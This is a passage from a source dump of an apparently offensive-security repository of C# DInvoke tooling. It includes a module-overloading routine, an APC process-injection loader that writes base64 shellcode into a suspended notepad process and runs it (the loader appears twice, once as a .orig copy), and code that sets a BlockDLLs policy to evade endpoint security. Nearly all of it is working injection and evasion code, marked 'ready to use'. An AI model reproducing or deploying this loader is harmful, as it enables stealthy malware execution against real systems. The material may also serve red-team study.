121 | IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage;
122 |
123 | // Change permissions to RW
124 | DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Data.Win32.WinNT.PAGE_READWRITE);
125 |
126 | // Zero out memory
127 | DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize);
128 |
129 | // Overload module in memory
130 | Data.PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase);
131 | OverloadedModuleMetaData.DecoyModule = DecoyModulePath;
132 |
133 | return OverloadedModuleMetaData;
134 | }
135 | }
136 | }
137 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/NoSpoofApproach.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.Diagnostics;
4 | using System.Net.Configuration;
5 | using System.Reflection;
6 | using System.Runtime.InteropServices;
7 | using System.Threading;
8 | using DInvoke.Data;
9 | using DInvoke.DynamicInvoke;
10 | using Native = DInvoke.Data.Native;
11 | using Win32 = DInvoke.Data.Win32;
12 |
13 | namespace Dinvoke
14 | {
15 |
16 | public class TestQueueUserAPC
17 | {
18 | [DllImport("kernel32.dll")]
19 | public static extern bool CreateProcess(
20 | string lpApplicationName,
21 | string lpCommandLine,
22 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpProcessAttributes,
23 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpThreadAttributes,
24 | bool bInheritHandles,
25 | DInvoke.Data.Win32.Advapi32.CREATION_FLAGS dwCreationFlags,
26 | IntPtr lpEnvironment,
27 | string lpCurrentDirectory,
28 | ref Win32.WinNT.ProcessThreadsAPI._STARTUPINFO lpStartupInfo,
29 | out Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation);
30 | static void BackupMain(string[] args)
31 | {
32 | /// This code is ready to use; make sure you change the pid to that of a running process (notepad.exe, explorer.exe, cmd.exe etc)
33 |
34 | //create process
35 | //allocate
36 | //write
37 | //protect
38 | //open thread
39 | //queue
40 | //resume
41 |
42 | var pa = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES();
43 | pa.nLength = (uint)Marshal.SizeOf(pa);
44 |
45 | var ta = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES();
46 | ta.nLength = (uint)Marshal.SizeOf(ta);
47 |
48 | var si = new Win32.WinNT.ProcessThreadsAPI._STARTUPINFO();
49 |
50 | // [+] CreateProcess(processImage,Arguments,processAttributes,ThreadAttributes,
51 |
52 | var createResult = (CreateProcess(null,
53 | @"C:\Windows\System32\notepad.exe",
54 | ref pa, ref ta,
55 | false, DInvoke.Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED,
56 | IntPtr.Zero, null, ref si, out var pi));
57 |
58 | Console.WriteLine("NtAllocateVirtualMemory");
59 | Console.WriteLine(" | -> NTSTATUS: {0}", createResult);
60 | Console.WriteLine(" | -> pi: {0}", pi);
61 |
62 | // ALLOCATE MEMORY
63 | var shellcodeRaw =
64 | "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
65 | var shellcodeBytes = Convert.FromBase64String(shellcodeRaw);
66 |
67 | var hProcess = pi.hProcess;
68 | var baseAddress = IntPtr.Zero;
69 | var regionSize = new IntPtr(shellcodeBytes.Length);
70 |
71 | const Win32.WinNT.MEMORY_ALLOCATION allocation = Win32.WinNT.MEMORY_ALLOCATION.MEM_COMMIT
72 | | Win32.WinNT.MEMORY_ALLOCATION.MEM_RESERVE;
73 |
74 | var allocParameters = new object[]
75 | {
76 | hProcess, baseAddress, IntPtr.Zero, regionSize,
77 | (uint) allocation, Win32.WinNT.PAGE_EXECUTE_READWRITE
78 | };
79 |
80 | var allocStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtAllocateVirtualMemory",
81 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAllocateVirtualMemory), ref allocParameters);
82 |
83 | if (allocStatus == Native.NTSTATUS.Success)
84 | baseAddress = (IntPtr)allocParameters[1];
85 |
86 | Console.WriteLine("NtAllocateVirtualMemory");
87 | Console.WriteLine(" | -> NTSTATUS: {0}", allocStatus);
88 | Console.WriteLine(" | -> basedAddress: 0x{0:X}", baseAddress.ToInt64());
89 |
90 |
91 |
92 | // WRITE MEMORY
93 | var buf = Marshal.AllocHGlobal(shellcodeBytes.Length);
94 | Marshal.Copy(shellcodeBytes, 0, buf, shellcodeBytes.Length);
95 | uint bytesWritten = 0;
96 | var writeParameters = new object[]
97 | {
98 | hProcess, baseAddress, buf, (UInt32) shellcodeBytes.Length, bytesWritten
99 | };
100 | var writeStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtWriteVirtualMemory",
101 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory), ref writeParameters);
102 |
103 | if (writeStatus == Native.NTSTATUS.Success)
104 | bytesWritten = (uint)writeParameters[4];
105 |
106 | Console.WriteLine("NtWriteVirtualMemory");
107 | Console.WriteLine(" | -> Data Length: {0}", shellcodeBytes.Length);
108 | Console.WriteLine(" | -> NTSTATUS: {0}", writeStatus);
109 | Console.WriteLine(" | -> Bytes Written: {0}", bytesWritten);
110 |
111 | // READ/EXECUTE
112 | var newProtect = Win32.WinNT.MEMORY_PROTECTION.PAGE_EXECUTE_READ;
113 | var oldProtect = (Win32.WinNT.MEMORY_PROTECTION)0;
114 |
115 | var protectParameters = new object[]
116 | {
117 | hProcess, baseAddress, regionSize,
118 | (uint) newProtect, (uint) oldProtect
119 | };
120 | var protectStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory",
121 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory), ref protectParameters);
122 |
123 | if (protectStatus == Native.NTSTATUS.Success)
124 | oldProtect = (Win32.WinNT.MEMORY_PROTECTION)protectParameters[4];
125 |
126 | Console.WriteLine("NtProtectVirtualMemory");
127 | Console.WriteLine(" | -> newProtect: {0}", newProtect);
128 | Console.WriteLine(" | -> NTSTATUS: {0}", protectStatus);
129 | Console.WriteLine(" | -> oldProtect: {0}", oldProtect);
130 |
131 | // OPEN THREAD
132 |
133 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
134 | IntPtr threadHandle = IntPtr.Zero;
135 | DInvoke.Data.Native.OBJECT_ATTRIBUTES oa = new DInvoke.Data.Native.OBJECT_ATTRIBUTES();
136 | //DInvoke.Data.Native.CLIENT_ID ci = new DInvoke.Data.Native.CLIENT_ID();
137 | Native.CLIENT_ID ci = new Native.CLIENT_ID { UniqueThread = (IntPtr)pi.dwThreadId };
138 | //ci.UniqueThread = (IntPtr)pi.dwThreadId;
139 |
140 | // Craft an array for the arguments
141 | object[] openThreadArgs =
142 | {
143 | threadHandle, DInvoke.Data.Win32.Kernel32.ThreadAccess.SetContext, oa, ci
144 | };
145 | var openThreadStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtOpenThread",
146 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtOpenThread), ref openThreadArgs);
147 |
148 | Console.WriteLine("NtOpenThread");
149 | Console.WriteLine(" | -> threadHandle: {0}", ci.UniqueThread);
150 | Console.WriteLine(" | -> NTSTATUS: {0}", openThreadStatus);
151 |
152 |
153 | // QUEUE USER APC
154 |
155 | // Craft an array for the arguments
156 | object[] funcargs =
157 | {
158 | pi.hThread, baseAddress, null, null, null
159 | };
160 |
161 | DInvoke.Data.Native.NTSTATUS queueStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(
162 | @"ntdll.dll",
163 | @"NtQueueApcThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtQueueApcThread), ref funcargs);
164 | Console.WriteLine("NtQueueApcThread");
165 | Console.WriteLine(" | -> NTSTATUS: {0}", queueStatus);
166 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread);
167 | Console.WriteLine(" | -> baseAddress: {0}", baseAddress);
168 |
169 |
170 | // RESUME THREAD
171 | object[] resumeArgs =
172 | {
173 | pi.hThread, (UInt32)0
174 | };
175 |
176 | DInvoke.Data.Native.NTSTATUS resumeStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(
177 | @"ntdll.dll",
178 | @"NtAlertResumeThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAlertResumeThread),
179 | ref resumeArgs);
180 | Console.WriteLine("NtAlertResumeThread");
181 | Console.WriteLine(" | -> NTSTATUS: {0}", resumeStatus);
182 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread);
183 | //Thread.Sleep(30000);
184 | }
185 | }
186 | }
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/NoSpoofApproach.cs.orig:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.Diagnostics;
4 | using System.Net.Configuration;
5 | using System.Reflection;
6 | using System.Runtime.InteropServices;
7 | using System.Threading;
8 | using DInvoke.Data;
9 | using DInvoke.DynamicInvoke;
10 | using Native = DInvoke.Data.Native;
11 | using Win32 = DInvoke.Data.Win32;
12 |
13 | namespace Dinvoke
14 | {
15 |
16 | public class TestQueueUserAPC
17 | {
18 | [DllImport("kernel32.dll")]
19 | public static extern bool CreateProcess(
20 | string lpApplicationName,
21 | string lpCommandLine,
22 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpProcessAttributes,
23 | ref DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES lpThreadAttributes,
24 | bool bInheritHandles,
25 | DInvoke.Data.Win32.Advapi32.CREATION_FLAGS dwCreationFlags,
26 | IntPtr lpEnvironment,
27 | string lpCurrentDirectory,
28 | ref Win32.WinNT.ProcessThreadsAPI._STARTUPINFO lpStartupInfo,
29 | out Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation);
30 | static void BackupMain(string[] args)
31 | {
32 | /// This code is ready to use; make sure you change the pid to that of a running process (notepad.exe, explorer.exe, cmd.exe etc)
33 |
34 | //create process
35 | //allocate
36 | //write
37 | //protect
38 | //open thread
39 | //queue
40 | //resume
41 |
42 | var pa = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES();
43 | pa.nLength = (uint)Marshal.SizeOf(pa);
44 |
45 | var ta = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES();
46 | ta.nLength = (uint)Marshal.SizeOf(ta);
47 |
48 | var si = new Win32.WinNT.ProcessThreadsAPI._STARTUPINFO();
49 |
50 | // [+] CreateProcess(processImage,Arguments,processAttributes,ThreadAttributes,
51 |
52 | var createResult = (CreateProcess(null,
53 | @"C:\Windows\System32\notepad.exe",
54 | ref pa, ref ta,
55 | false, DInvoke.Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED,
56 | IntPtr.Zero, null, ref si, out var pi));
57 |
58 | Console.WriteLine("NtAllocateVirtualMemory");
59 | Console.WriteLine(" | -> NTSTATUS: {0}", createResult);
60 | Console.WriteLine(" | -> pi: {0}", pi);
61 |
62 | // ALLOCATE MEMORY
63 | var shellcodeRaw =
64 | "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
65 | var shellcodeBytes = Convert.FromBase64String(shellcodeRaw);
66 |
67 | var hProcess = pi.hProcess;
68 | var baseAddress = IntPtr.Zero;
69 | var regionSize = new IntPtr(shellcodeBytes.Length);
70 |
71 | const Win32.WinNT.MEMORY_ALLOCATION allocation = Win32.WinNT.MEMORY_ALLOCATION.MEM_COMMIT
72 | | Win32.WinNT.MEMORY_ALLOCATION.MEM_RESERVE;
73 |
74 | var allocParameters = new object[]
75 | {
76 | hProcess, baseAddress, IntPtr.Zero, regionSize,
77 | (uint) allocation, Win32.WinNT.PAGE_EXECUTE_READWRITE
78 | };
79 |
80 | var allocStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtAllocateVirtualMemory",
81 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAllocateVirtualMemory), ref allocParameters);
82 |
83 | if (allocStatus == Native.NTSTATUS.Success)
84 | baseAddress = (IntPtr)allocParameters[1];
85 |
86 | Console.WriteLine("NtAllocateVirtualMemory");
87 | Console.WriteLine(" | -> NTSTATUS: {0}", allocStatus);
88 | Console.WriteLine(" | -> basedAddress: 0x{0:X}", baseAddress.ToInt64());
89 |
90 |
91 |
92 | // WRITE MEMORY
93 | var buf = Marshal.AllocHGlobal(shellcodeBytes.Length);
94 | Marshal.Copy(shellcodeBytes, 0, buf, shellcodeBytes.Length);
95 | uint bytesWritten = 0;
96 | var writeParameters = new object[]
97 | {
98 | hProcess, baseAddress, buf, (UInt32) shellcodeBytes.Length, bytesWritten
99 | };
100 | var writeStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtWriteVirtualMemory",
101 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory), ref writeParameters);
102 |
103 | if (writeStatus == Native.NTSTATUS.Success)
104 | bytesWritten = (uint)writeParameters[4];
105 |
106 | Console.WriteLine("NtWriteVirtualMemory");
107 | Console.WriteLine(" | -> Data Length: {0}", shellcodeBytes.Length);
108 | Console.WriteLine(" | -> NTSTATUS: {0}", writeStatus);
109 | Console.WriteLine(" | -> Bytes Written: {0}", bytesWritten);
110 |
111 | // READ/EXECUTE
112 | var newProtect = Win32.WinNT.MEMORY_PROTECTION.PAGE_EXECUTE_READ;
113 | var oldProtect = (Win32.WinNT.MEMORY_PROTECTION)0;
114 |
115 | var protectParameters = new object[]
116 | {
117 | hProcess, baseAddress, regionSize,
118 | (uint) newProtect, (uint) oldProtect
119 | };
120 | var protectStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory",
121 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory), ref protectParameters);
122 |
123 | if (protectStatus == Native.NTSTATUS.Success)
124 | oldProtect = (Win32.WinNT.MEMORY_PROTECTION)protectParameters[4];
125 |
126 | Console.WriteLine("NtProtectVirtualMemory");
127 | Console.WriteLine(" | -> newProtect: {0}", newProtect);
128 | Console.WriteLine(" | -> NTSTATUS: {0}", protectStatus);
129 | Console.WriteLine(" | -> oldProtect: {0}", oldProtect);
130 |
131 | // OPEN THREAD
132 |
133 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
134 | IntPtr threadHandle = IntPtr.Zero;
135 | DInvoke.Data.Native.OBJECT_ATTRIBUTES oa = new DInvoke.Data.Native.OBJECT_ATTRIBUTES();
136 | //DInvoke.Data.Native.CLIENT_ID ci = new DInvoke.Data.Native.CLIENT_ID();
137 | Native.CLIENT_ID ci = new Native.CLIENT_ID { UniqueThread = (IntPtr)pi.dwThreadId };
138 | //ci.UniqueThread = (IntPtr)pi.dwThreadId;
139 |
140 | // Craft an array for the arguments
141 | object[] openThreadArgs =
142 | {
143 | threadHandle, DInvoke.Data.Win32.Kernel32.ThreadAccess.SetContext, oa, ci
144 | };
145 | var openThreadStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtOpenThread",
146 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtOpenThread), ref openThreadArgs);
147 |
148 | Console.WriteLine("NtOpenThread");
149 | Console.WriteLine(" | -> threadHandle: {0}", ci.UniqueThread);
150 | Console.WriteLine(" | -> NTSTATUS: {0}", openThreadStatus);
151 |
152 |
153 | // QUEUE USER APC
154 |
155 | // Craft an array for the arguments
156 | object[] funcargs =
157 | {
158 | pi.hThread, baseAddress, null, null, null
159 | };
160 |
161 | DInvoke.Data.Native.NTSTATUS queueStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(
162 | @"ntdll.dll",
163 | @"NtQueueApcThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtQueueApcThread), ref funcargs);
164 | Console.WriteLine("NtQueueApcThread");
165 | Console.WriteLine(" | -> NTSTATUS: {0}", queueStatus);
166 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread);
167 | Console.WriteLine(" | -> baseAddress: {0}", baseAddress);
168 |
169 |
170 | // RESUME THREAD
171 | object[] resumeArgs =
172 | {
173 | pi.hThread, (UInt32)0
174 | };
175 |
176 | DInvoke.Data.Native.NTSTATUS resumeStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(
177 | @"ntdll.dll",
178 | @"NtAlertResumeThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAlertResumeThread),
179 | ref resumeArgs);
180 | Console.WriteLine("NtAlertResumeThread");
181 | Console.WriteLine(" | -> NTSTATUS: {0}", resumeStatus);
182 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread);
183 | //Thread.Sleep(30000);
184 | }
185 | }
186 | }
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("DInvoke")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("DInvoke")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("b77fdab5-207c-4cdb-b1aa-348505c54229")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/SharedUtilities/Utilities.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Security.Cryptography.X509Certificates;
3 |
4 | namespace DInvoke.Utilities
5 | {
6 | class Utilities
7 | {
8 | ///
9 | /// Checks that a file is signed and has a valid signature.
10 | ///
11 | /// Path of file to check.
12 | ///
13 | public static bool FileHasValidSignature(string FilePath)
14 | {
15 | X509Certificate2 FileCertificate;
16 | try
17 | {
18 | X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath);
19 | FileCertificate = new X509Certificate2(signer);
20 | }
21 | catch
22 | {
23 | return false;
24 | }
25 |
26 | X509Chain CertificateChain = new X509Chain();
27 | CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
28 | CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline;
29 | CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;
30 |
31 | return CertificateChain.Build(FileCertificate);
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.exe
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke.pdb
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke_Secure/DInvoke.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke_Secure/DInvoke.exe
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke_Secure/DInvoke.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/Debug/DInvoke_Secure/DInvoke.pdb
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/CommandLine.dll
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.exe
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/bin/ThreatCheck/ThreatCheck.pdb
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/nuget.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/nuget.exe
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | dffe443024c7c4e78b900c5b6665dd91b08b4fd4
2 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache
2 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache
3 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\bin\Debug\DInvoke.pdb
4 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.pdb
5 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\bin\Debug\DInvoke.exe
6 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.exe
7 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache
8 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache
9 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.pdb
10 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.pdb
11 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.exe.config
12 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.exe
13 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.exe
14 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.exe
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DInvoke.pdb
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/DInvoke/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/overloadMapping.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Diagnostics;
4 |
5 | using DInvoke.DynamicInvoke;
6 |
7 | namespace ConsoleApp1
8 | {
9 | class Program
10 | {
11 | static void Mapping(string[] args)
12 | {
13 | var si = new Win32.STARTUPINFOEX();
14 | si.StartupInfo.cb = (uint)Marshal.SizeOf(si);
15 | si.StartupInfo.dwFlags = 0x00000001;
16 |
17 | var lpValue = Marshal.AllocHGlobal(IntPtr.Size);
18 |
19 | try
20 | {
21 | var funcParams = new object[] {
22 | IntPtr.Zero,
23 | 2,
24 | 0,
25 | IntPtr.Zero
26 | };
27 |
28 | Generic.DynamicAPIInvoke(
29 | "kernel32.dll",
30 | "InitializeProcThreadAttributeList",
31 | typeof(InitializeProcThreadAttributeList),
32 | ref funcParams,
33 | true);
34 |
35 | var lpSize = (IntPtr)funcParams[3];
36 | si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
37 |
38 | funcParams[0] = si.lpAttributeList;
39 |
40 | Generic.DynamicAPIInvoke(
41 | "kernel32.dll",
42 | "InitializeProcThreadAttributeList",
43 | typeof(InitializeProcThreadAttributeList),
44 | ref funcParams,
45 | true);
46 |
47 | // BlockDLLs
48 | if (Is64Bit)
49 | {
50 | Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON));
51 | }
52 | else
53 | {
54 | Marshal.WriteIntPtr(lpValue, new IntPtr(unchecked((uint)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)));
55 | }
56 |
57 | funcParams = new object[]
58 | {
59 | si.lpAttributeList,
60 | (uint)0,
61 | (IntPtr)Win32.ProcThreadAttribute.MITIGATION_POLICY,
62 | lpValue,
63 | (IntPtr)IntPtr.Size,
64 | IntPtr.Zero,
65 | IntPtr.Zero
66 | };
67 |
68 | Generic.DynamicAPIInvoke(
69 | "kernel32.dll",
70 | "UpdateProcThreadAttribute",
71 | typeof(UpdateProcThreadAttribute),
72 | ref funcParams,
73 | true);
